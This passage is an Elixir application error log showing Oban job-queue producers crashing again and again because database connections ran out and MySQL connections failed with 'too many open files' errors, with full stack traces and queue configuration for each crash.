%{}}
[Sat Sep  5 22:44:45.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 872ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 22:44:33.241000Z], limit: 5, uuid: "a1424e9b-1f32-4c5d-938b-868e16f96568", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:44:33.241006Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.89659>, refresh_timer: #Reference<0.2525715032.1121189889.89627>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:44:45.239000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 830ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 22:44:33.241140Z], limit: 5, uuid: "8319f41c-c465-4e07-8ec2-e089f23f400b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:44:33.241145Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.89660>, refresh_timer: #Reference<0.2525715032.1121189889.89633>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:44:46.064000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:44:47.091000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:44:49.146000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:44:52.352000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:44:54.846000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:44:57.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1042ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 22:44:45.245934Z], limit: 3, uuid: "774a5d63-29d5-4f9c-8150-03bd91087f84", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:44:45.245939Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.242755>, refresh_timer: #Reference<0.2525715032.1099169794.242745>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:44:57.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1011ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 22:44:45.246227Z], limit: 20, uuid: "db44f2f0-5b4c-44fb-9314-db1af9a9033f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:44:45.246233Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.242756>, refresh_timer: #Reference<0.2525715032.1077411843.213662>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:44:57.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 881ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 22:44:45.246485Z], limit: 50, uuid: "59014fdd-5425-45d9-b89d-8926554daa6b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:44:45.246491Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.213713>, refresh_timer: #Reference<0.2525715032.1077411843.213671>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:44:57.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1086ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 22:44:45.247321Z], limit: 5, uuid: "7dac7f8d-4801-4089-849e-4304b075d2d7", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:44:45.247327Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.242758>, refresh_timer: #Reference<0.2525715032.1121189889.89789>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:44:57.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1022ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 22:44:45.245684Z], limit: 10, uuid: "f573a7f4-2202-434e-b428-5a17675f42cb", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:44:45.245690Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.242754>, refresh_timer: #Reference<0.2525715032.1099169794.242736>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:44:57.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1013ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 22:44:45.250344Z], limit: 5, uuid: "201d45fa-7d2e-4c1e-b4ce-ceabbfc763e2", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:44:45.250350Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.242757>, refresh_timer: #Reference<0.2525715032.1077411843.213705>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:44:57.580000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:44:58.056000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:44:59.272000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:45:01.085000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:45:01.183000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:45:01.335000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:45:03.148000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:45:07.772000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:45:09.087000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:45:09.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1014ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
